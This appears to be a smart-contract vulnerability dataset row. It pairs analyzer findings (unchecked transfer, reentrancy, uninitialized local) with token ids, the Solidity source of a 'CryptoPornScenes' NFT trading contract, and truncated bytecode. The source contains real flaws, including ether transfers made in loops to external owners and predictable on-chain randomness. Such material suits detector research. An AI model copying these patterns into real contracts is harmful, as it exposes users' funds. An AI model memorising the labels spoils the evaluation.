{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2475, 2063, 27009, 14141, 17465, 28756, 15136, 16147, 4215, 2475, 2063, 27531, 20842, 2620, 2497, 2683, 2063, 2575, 2063, 27814, 2549, 2094, 2683, 2620, 2475, 2546, 2549, 2546, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1022, 1012, 1014, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,688
0x972f04fe0927445c5821b1c368b2ed29821271b7
pragma solidity ^0.4.18; // solhint-disable-line /// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens /// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete) contract ERC721 { // Required methods function approve(address _to, uint256 _tokenId) public; function balanceOf(address _owner) public view returns (uint256 balance); function implementsERC721() public pure returns (bool); function ownerOf(uint256 _tokenId) public view returns (address addr); function takeOwnership(uint256 _tokenId) public; function totalSupply() public view returns (uint256 total); function transferFrom(address _from, address _to, uint256 _tokenId) public; function transfer(address _to, uint256 _tokenId) public; event Transfer(address indexed from, address indexed to, uint256 tokenId); event Approval(address indexed owner, address indexed approved, uint256 tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 tokenId); // function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl); } contract PornstarsInterface { function ownerOf(uint256 _id) public view returns ( address owner ); function totalSupply() public view returns ( uint256 total ); } contract PornSceneToken is ERC721 { /*** EVENTS ***/ /// @dev The Birth event is fired whenever a new scene comes into existence. event Birth(uint256 tokenId, string name, uint[] stars, address owner); /// @dev The TokenSold event is fired whenever a token is sold. event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name, uint[] stars); /// @dev Transfer event as defined in current draft of ERC721. /// ownership is assigned, including births. event Transfer(address from, address to, uint256 tokenId); /*** CONSTANTS ***/ /// @notice Name and symbol of the non fungible token, as defined in ERC721. string public constant NAME = "CryptoPornScenes"; // solhint-disable-line string public constant SYMBOL = "PornSceneToken"; // solhint-disable-line uint256 private startingPrice = 0.001 ether; uint256 private constant PROMO_CREATION_LIMIT = 10000; uint256 private firstStepLimit = 0.053613 ether; uint256 private secondStepLimit = 0.564957 ether; /*** STORAGE ***/ /// @dev A mapping from scene IDs to the address that owns them. All scenes have /// some valid owner address. mapping (uint256 => address) public sceneIndexToOwner; // @dev A mapping from owner address to count of tokens that address owns. // Used internally inside balanceOf() to resolve ownership count. mapping (address => uint256) private ownershipTokenCount; /// @dev A mapping from SceneIDs to an address that has been approved to call /// transferFrom(). Each Scene can only have one approved address for transfer /// at any time. A zero value means no approval is outstanding. mapping (uint256 => address) public sceneIndexToApproved; // @dev A mapping from SceneIDs to the price of the token. mapping (uint256 => uint256) private sceneIndexToPrice; // The addresses of the accounts (or contracts) that can execute actions within each roles. address public ceoAddress; address public cooAddress; PornstarsInterface pornstarsContract; uint currentAwardWinner = 85; //Initiat the award. Award Holder from Previous Contract uint256 public promoCreatedCount; /*** DATATYPES ***/ struct Scene { string name; uint[] stars; } Scene[] private scenes; /*** ACCESS MODIFIERS ***/ /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } /// Access modifier for contract owner only functionality modifier onlyCLevel() { require( msg.sender == ceoAddress || msg.sender == cooAddress ); _; } /*** CONSTRUCTOR ***/ function PornSceneToken() public { ceoAddress = msg.sender; cooAddress = msg.sender; } /*** PUBLIC FUNCTIONS ***/ /// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom(). /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function approve( address _to, uint256 _tokenId ) public { // Caller must own token. require(_owns(msg.sender, _tokenId)); sceneIndexToApproved[_tokenId] = _to; Approval(msg.sender, _to, _tokenId); } /// For querying balance of a particular account /// @param _owner The address for balance query /// @dev Required for ERC-721 compliance. function balanceOf(address _owner) public view returns (uint256 balance) { return ownershipTokenCount[_owner]; } function setPornstarsContractAddress(address _address) public onlyCOO { pornstarsContract = PornstarsInterface(_address); } /// @dev Creates a new promo Scene with the given name, with given _price and assignes it to an address. function createPromoScene(address _owner, string _name, uint[] _stars, uint256 _price) public onlyCOO { require(promoCreatedCount < PROMO_CREATION_LIMIT); address sceneOwner = _owner; if (sceneOwner == address(0)) { sceneOwner = cooAddress; } if (_price <= 0) { _price = startingPrice; } promoCreatedCount++; _createScene(_name, _stars, sceneOwner, _price); } /// @dev Creates a new Scene with the given name. function createContractScene(string _name, uint[] _stars) public onlyCOO { _createScene(_name, _stars, address(this), startingPrice); } /// @notice Returns all the relevant information about a specific scene. /// @param _tokenId The tokenId of the scene of interest. function getScene(uint256 _tokenId) public view returns ( string sceneName, uint[] stars, uint256 sellingPrice, address owner ) { Scene storage scene = scenes[_tokenId]; sceneName = scene.name; stars = scene.stars; sellingPrice = sceneIndexToPrice[_tokenId]; owner = sceneIndexToOwner[_tokenId]; } function implementsERC721() public pure returns (bool) { return true; } /// @dev Required for ERC-721 compliance. function name() public pure returns (string) { return NAME; } /// For querying owner of token /// @param _tokenId The tokenID for owner inquiry /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _tokenId) public view returns (address owner) { owner = sceneIndexToOwner[_tokenId]; require(owner != address(0)); } function payout(address _to) public onlyCLevel { _payout(_to); } // Allows someone to send ether and obtain the token function purchase(uint256 _tokenId) public payable { address oldOwner = sceneIndexToOwner[_tokenId]; address newOwner = msg.sender; uint256 sellingPrice = sceneIndexToPrice[_tokenId]; // Making sure token owner is not sending to self require(oldOwner != newOwner); // Safety check to prevent against an unexpected 0x0 default. require(_addressNotNull(newOwner)); // Making sure sent amount is greater than or equal to the sellingPrice require(msg.value >= sellingPrice); uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 80), 100)); uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice); // Pornstar Holder Fees // Get Scene Star Length Scene memory _scene = scenes[_tokenId]; require(_scene.stars.length > 0); //Make sure have stars in the scene uint256 holderFee = uint256(SafeMath.div(SafeMath.div(SafeMath.mul(sellingPrice, 10), 100), _scene.stars.length)); uint256 awardOwnerFee = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 4), 100)); // Update prices if (sellingPrice < firstStepLimit) { // first stage sceneIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), 80); } else if (sellingPrice < secondStepLimit) { // second stage sceneIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 120), 80); } else { // third stage sceneIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 115), 80); } _transfer(oldOwner, newOwner, _tokenId); // Pay previous tokenOwner if owner is not contract if (oldOwner != address(this)) { oldOwner.transfer(payment); //(1-0.06) } _paySceneStarOwners(_scene, holderFee); _payAwardOwner(awardOwnerFee); TokenSold(_tokenId, sellingPrice, sceneIndexToPrice[_tokenId], oldOwner, newOwner, _scene.name, _scene.stars); msg.sender.transfer(purchaseExcess); } function _paySceneStarOwners(Scene _scene, uint256 fee) private { for (uint i = 0; i < _scene.stars.length; i++) { address _pornstarOwner; (_pornstarOwner) = pornstarsContract.ownerOf(_scene.stars[i]); if(_isGoodAddress(_pornstarOwner)) { _pornstarOwner.transfer(fee); } } } function _payAwardOwner(uint256 fee) private { address _awardOwner; (_awardOwner) = pornstarsContract.ownerOf(currentAwardWinner); if(_isGoodAddress(_awardOwner)) { _awardOwner.transfer(fee); } } function _isGoodAddress(address _addy) private view returns (bool) { if(_addy == address(pornstarsContract)) { return false; } if(_addy == address(0) || _addy == address(0x0)) { return false; } return true; } function priceOf(uint256 _tokenId) public view returns (uint256 price) { return sceneIndexToPrice[_tokenId]; } function starsOf(uint256 _tokenId) public view returns (uint[]) { return scenes[_tokenId].stars; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO. /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the COO. Only available to the current COO. /// @param _newCOO The address of the new COO function setCOO(address _newCOO) public onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } /// @dev Required for ERC-721 compliance. function symbol() public pure returns (string) { return SYMBOL; } /// @notice Allow pre-approved user to take ownership of a token /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function takeOwnership(uint256 _tokenId) public { address newOwner = msg.sender; address oldOwner = sceneIndexToOwner[_tokenId]; // Safety check to prevent against an unexpected 0x0 default. require(_addressNotNull(newOwner)); // Making sure transfer is approved require(_approved(newOwner, _tokenId)); _transfer(oldOwner, newOwner, _tokenId); } /// @param _owner The owner whose celebrity tokens we are interested in. /// @dev This method MUST NEVER be called by smart contract code. First, it's fairly /// expensive (it walks the entire scenes array looking for scenes belonging to owner), /// but it also returns a dynamic array, which is only supported for web3 calls, and /// not contract-to-contract calls. function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalscenes = totalSupply(); uint256 resultIndex = 0; uint256 sceneId; for (sceneId = 0; sceneId <= totalscenes; sceneId++) { if (sceneIndexToOwner[sceneId] == _owner) { result[resultIndex] = sceneId; resultIndex++; } } return result; } } /// For querying totalSupply of token /// @dev Required for ERC-721 compliance. function totalSupply() public view returns (uint256 total) { return scenes.length; } /// Owner initates the transfer of the token to another account /// @param _to The address for the token to be transferred to. /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function transfer( address _to, uint256 _tokenId ) public { require(_owns(msg.sender, _tokenId)); require(_addressNotNull(_to)); _transfer(msg.sender, _to, _tokenId); } /// Third-party initiates transfer of token from address _from to address _to /// @param _from The address for the token to be transferred from. /// @param _to The address for the token to be transferred to. /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function transferFrom( address _from, address _to, uint256 _tokenId ) public { require(_owns(_from, _tokenId)); require(_approved(_to, _tokenId)); require(_addressNotNull(_to)); _transfer(_from, _to, _tokenId); } /*** PRIVATE FUNCTIONS ***/ /// Safety check on _to address to prevent against an unexpected 0x0 default. function _addressNotNull(address _to) private pure returns (bool) { return _to != address(0); } /// For checking approval of transfer for address _to function _approved(address _to, uint256 _tokenId) private view returns (bool) { return sceneIndexToApproved[_tokenId] == _to; } /// For creating Scene function _createScene(string _name, uint[] _stars,address _owner, uint256 _price) private { // Require Stars Exists require(_stars.length > 0); for (uint i = 0; i < _stars.length; i++) { address _pornstarOwner; (_pornstarOwner) = pornstarsContract.ownerOf(_stars[i]); require(_pornstarOwner != address(0) || _pornstarOwner != address(0x0)); } Scene memory _scene = Scene({ name: _name, stars: _stars }); uint256 newSceneId = scenes.push(_scene) - 1; // It's probably never going to happen, 4 billion tokens are A LOT, but // let's just be 100% sure we never let this happen. require(newSceneId == uint256(uint32(newSceneId))); Birth(newSceneId, _name, _stars, _owner); sceneIndexToPrice[newSceneId] = _price; // This will assign ownership, and also emit the Transfer event as // per ERC721 draft _transfer(address(0), _owner, newSceneId); } /// Check for token ownership function _owns(address claimant, uint256 _tokenId) private view returns (bool) { return claimant == sceneIndexToOwner[_tokenId]; } /// For paying out balance on contract function _payout(address _to) private { if (_to == address(0)) { ceoAddress.transfer(this.balance); } else { _to.transfer(this.balance); } } /// @dev Assigns ownership of a specific Scene to an address. function _transfer(address _from, address _to, uint256 _tokenId) private { // Since the number of scenes is capped to 2^32 we can't overflow this ownershipTokenCount[_to]++; //transfer ownership sceneIndexToOwner[_tokenId] = _to; // When creating new scenes _from is 0x0, but we can't account that address. if (_from != address(0)) { ownershipTokenCount[_from]--; // clear any previously approved ownership exchange delete sceneIndexToApproved[_tokenId]; } // Emit the transfer event. Transfer(_from, _to, _tokenId); } } contract CryptoPornstarAward is PornSceneToken{ event Award(uint256 currentAwardWinner, uint32 awardTime); uint nonce = 0; uint cooldownTime = 60; uint32 awardTime = uint32(now); function _triggerCooldown() internal { awardTime = uint32(now + cooldownTime); } function _isTime() internal view returns (bool) { return (awardTime <= now); } function rand(uint min, uint max) internal returns (uint) { nonce++; return uint(keccak256(nonce))%(min+max)-min; } function setCooldown(uint _newCooldown) public onlyCOO { require (_newCooldown > 0); cooldownTime = _newCooldown; _triggerCooldown(); } function getAwardTime () public view returns (uint32) { return awardTime; } function getCooldown () public view returns (uint) { return cooldownTime; } function newAward() public onlyCOO { uint256 _totalPornstars; (_totalPornstars) = pornstarsContract.totalSupply(); require(_totalPornstars > 0); require(_isTime()); currentAwardWinner = rand(0, _totalPornstars); _triggerCooldown(); Award(currentAwardWinner, awardTime); } function getCurrentAward() public view returns (uint){ return currentAwardWinner; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6060604052600436106101a1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305e45546146101a657806306fdde03146101cf578063095ea7b31461025d5780630a0f81681461029f5780630b7e9c44146102f45780630ee4d6a91461032d5780631051db341461039057806310972704146103bd57806318160ddd146103e6578063218e4a151461040f57806322d7642e1461043857806323b872dd1461055657806327d7874c146105b75780632ba73c15146105f05780633579c0df14610629578063435557201461063e5780634fc3f41a146106775780636352211e1461069a57806370a08231146106fd5780637519dd8e1461074a57806380dce0b4146107c25780638462151c146107f7578063931274c81461088557806395d89b4114610922578063a31547b9146109b0578063a3f4df7e14610a13578063a9059cbb14610aa1578063b047fb5014610ae3578063b2e6ceeb14610b38578063b9186d7d14610b5b578063bc81572c14610b92578063efef39a114610c57578063f76f8d7814610c6f575b600080fd5b34156101b157600080fd5b6101b9610cfd565b6040518082815260200191505060405180910390f35b34156101da57600080fd5b6101e2610d03565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610222578082015181840152602081019050610207565b50505050905090810190601f16801561024f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561026857600080fd5b61029d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d46565b005b34156102aa57600080fd5b6102b2610e16565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102ff57600080fd5b61032b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e3c565b005b341561033857600080fd5b61034e6004808035906020019091905050610efc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561039b57600080fd5b6103a3610f2f565b604051808215151515815260200191505060405180910390f35b34156103c857600080fd5b6103d0610f38565b6040518082815260200191505060405180910390f35b34156103f157600080fd5b6103f9610f42565b6040518082815260200191505060405180910390f35b341561041a57600080fd5b610422610f4f565b6040518082815260200191505060405180910390f35b341561044357600080fd5b6104596004808035906020019091905050610f59565b6040518080602001806020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838103835287818151815260200191508051906020019080838360005b838110156104d55780820151818401526020810190506104ba565b50505050905090810190601f1680156105025780820380516001836020036101000a031916815260200191505b50838103825286818151815260200191508051906020019060200280838360005b8381101561053e578082015181840152602081019050610523565b50505050905001965050505050505060405180910390f35b341561056157600080fd5b6105b5600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110d5565b005b34156105c257600080fd5b6105ee600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611123565b005b34156105fb57600080fd5b610627600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111ff565b005b341561063457600080fd5b61063c6112db565b005b341561064957600080fd5b610675600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611481565b005b341561068257600080fd5b6106986004808035906020019091905050611521565b005b34156106a557600080fd5b6106bb600480803590602001909190505061159e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561070857600080fd5b610734600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611617565b6040518082815260200191505060405180910390f35b341561075557600080fd5b61076b6004808035906020019091905050611660565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156107ae578082015181840152602081019050610793565b505050509050019250505060405180910390f35b34156107cd57600080fd5b6107d56116de565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b341561080257600080fd5b61082e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116f8565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610871578082015181840152602081019050610856565b505050509050019250505060405180910390f35b341561089057600080fd5b610920600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190505061182f565b005b341561092d57600080fd5b61093561189d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561097557808201518184015260208101905061095a565b50505050905090810190601f1680156109a25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156109bb57600080fd5b6109d160048080359060200190919050506118e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610a1e57600080fd5b610a26611913565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a66578082015181840152602081019050610a4b565b50505050905090810190601f168015610a935780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610aac57600080fd5b610ae1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061194c565b005b3415610aee57600080fd5b610af6611984565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610b4357600080fd5b610b5960048080359060200190919050506119aa565b005b3415610b6657600080fd5b610b7c6004808035906020019091905050611a1f565b6040518082815260200191505060405180910390f35b3415610b9d57600080fd5b610c55600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019091905050611a3c565b005b610c6d6004808035906020019091905050611b3f565b005b3415610c7a57600080fd5b610c82612099565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610cc2578082015181840152602081019050610ca7565b50505050905090810190601f168015610cef5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b600b5481565b610d0b612c85565b6040805190810160405280601081526020017f43727970746f506f726e5363656e657300000000000000000000000000000000815250905090565b610d5033826120d2565b1515610d5b57600080fd5b816005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ee55750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610ef057600080fd5b610ef98161213e565b50565b60056020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006001905090565b6000600a54905090565b6000600c80549050905090565b6000600e54905090565b610f61612c85565b610f69612c99565b6000806000600c86815481101515610f7d57fe5b90600052602060002090600202019050806000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110255780601f10610ffa57610100808354040283529160200191611025565b820191906000526020600020905b81548152906001019060200180831161100857829003601f168201915b505050505094508060010180548060200260200160405190810160405280929190818152602001828054801561107a57602002820191906000526020600020905b815481526020019060010190808311611066575b50505050509350600660008781526020019081526020016000205492506003600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150509193509193565b6110df83826120d2565b15156110ea57600080fd5b6110f4828261224c565b15156110ff57600080fd5b611108826122b8565b151561111357600080fd5b61111e8383836122f1565b505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561117f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156111bb57600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561129757600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133957600080fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156113c757600080fd5b6102c65a03f115156113d857600080fd5b5050506040518051905090506000811115156113f357600080fd5b6113fb6124f3565b151561140657600080fd5b611411600082612516565b600a8190555061141f61255d565b7f55ee98743fbe5304cba3c8c3181f35bdcb7bf1745cbf7875db79b5812394c7ea600a54600f60009054906101000a900463ffffffff16604051808381526020018263ffffffff1663ffffffff1681526020019250505060405180910390a150565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114dd57600080fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157d57600080fd5b60008111151561158c57600080fd5b80600e8190555061159b61255d565b50565b60006003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561161257600080fd5b919050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611668612c99565b600c8281548110151561167757fe5b90600052602060002090600202016001018054806020026020016040519081016040528092919081815260200182805480156116d257602002820191906000526020600020905b8154815260200190600101908083116116be575b50505050509050919050565b6000600f60009054906101000a900463ffffffff16905090565b611700612c99565b600061170a612c99565b600080600061171887611617565b9450600085141561174a5760006040518059106117325750595b90808252806020026020018201604052509550611825565b846040518059106117585750595b90808252806020026020018201604052509350611773610f42565b925060009150600090505b8281111515611821578673ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611814578084838151811015156117fd57fe5b906020019060200201818152505081806001019250505b808060010191505061177e565b8395505b5050505050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561188b57600080fd5b611899828230600054612584565b5050565b6118a5612c85565b6040805190810160405280600e81526020017f506f726e5363656e65546f6b656e000000000000000000000000000000000000815250905090565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280601081526020017f43727970746f506f726e5363656e65730000000000000000000000000000000081525081565b61195633826120d2565b151561196157600080fd5b61196a826122b8565b151561197557600080fd5b6119803383836122f1565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000803391506003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506119ef826122b8565b15156119fa57600080fd5b611a04828461224c565b1515611a0f57600080fd5b611a1a8183856122f1565b505050565b600060066000838152602001908152602001600020549050919050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a9a57600080fd5b612710600b54101515611aac57600080fd5b849050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b0a57600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b600082111515611b1a5760005491505b600b60008154809291906001019190505550611b3884848385612584565b5050505050565b6000806000806000611b4f612cad565b600080600360008a815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169750339650600660008a81526020019081526020016000205495508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614151515611bdc57600080fd5b611be5876122b8565b1515611bf057600080fd5b853410151515611bff57600080fd5b611c14611c0d8760506128e1565b606461291c565b9450611c203487612937565b9350600c89815481101515611c3157fe5b9060005260206000209060020201604080519081016040529081600082018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ce35780601f10611cb857610100808354040283529160200191611ce3565b820191906000526020600020905b815481529060010190602001808311611cc657829003601f168201915b5050505050815260200160018201805480602002602001604051908101604052809291908181526020018280548015611d3b57602002820191906000526020600020905b815481526020019060010190808311611d27575b50505050508152505092506000836020015151111515611d5a57600080fd5b611d7d611d72611d6b88600a6128e1565b606461291c565b84602001515161291c565b9150611d94611d8d8760046128e1565b606461291c565b9050600154861015611dd157611db5611dae8760c86128e1565b605061291c565b600660008b815260200190815260200160002081905550611e3a565b600254861015611e0c57611df0611de98760786128e1565b605061291c565b600660008b815260200190815260200160002081905550611e39565b611e21611e1a8760736128e1565b605061291c565b600660008b8152602001908152602001600020819055505b5b611e4588888b6122f1565b3073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16141515611ebb578773ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f193505050501515611eba57600080fd5b5b611ec58383612950565b611ece81612a98565b7f48a40a6450bc25bbf3cb4b23fed1a19e8c23d16f9cd6af2f2e89e954a2611fc38987600660008d8152602001908152602001600020548b8b88600001518960200151604051808881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffffffffff